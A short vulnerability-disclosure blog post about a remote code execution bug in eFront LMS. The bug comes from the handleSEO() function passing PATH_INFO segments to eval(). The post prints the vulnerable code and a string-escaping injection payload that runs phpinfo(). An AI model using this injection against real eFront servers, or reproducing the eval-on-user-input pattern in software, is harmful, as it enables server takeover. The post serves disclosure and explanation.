eFront LMS - RCE (All versions)

11:48 AM

TL,DR; Its been a while last I published a post. so this is going to be a short post about an interesting-ish RCE found in all versions of eFront LMS - reported over 120 days ago but eFront cutting the open-source version as a response instead of a patch, I am forced to notify people of this vulnerability. I will update this post if a patch for this bug is out.

In /efront/libraries/globals.php:

The following handleSEO() function is the one causing the code execution. it looks like the following:

function handleSEO() {

   if (!$GLOBALS['configuration']['seo'] && $_SERVER['PATH_INFO']) {

       $parts = explode("/", trim($_SERVER['PATH_INFO'], "/"));

       for ($i = 0; $i < sizeof($parts); $i+=2) {

           eval('$'.$parts[$i].' = "'.$parts[$i+1].'";');



       foreach (get_defined_vars() as $key => $value) {

           $_GET[$key] = $value;




Because of their assumption that $_SERVER['PATH_INFO'] isn't user controllable, they sent it straight to eval(), causing the code execution.





visiting the above link will get phpinfo() executed.

Breaking it down:

$parts = explode("/", trim($_SERVER['PATH_INFO'], "/"));

for ($i = 0; $i < sizeof($parts); $i+=2) {

           eval('$'.$parts[$i].' = "'.$parts[$i+1].'";');


Because of that specific code, we send in /globals.php/hack/x, which will become: $hack="x

, but because php already executed the code, doing a comment (/*..*/) wont work and will actually crash it, so we will just tamper the variables like x";eval(phpinfo());$t="pwnd

This will endup creating:

$hack = "x";eval(phpinfo());$t="pwnd";

Which is then interpreted as:

eval($hack = "x";eval(phpinfo());$t="pwnd";);

And Boom! We got our code executed!

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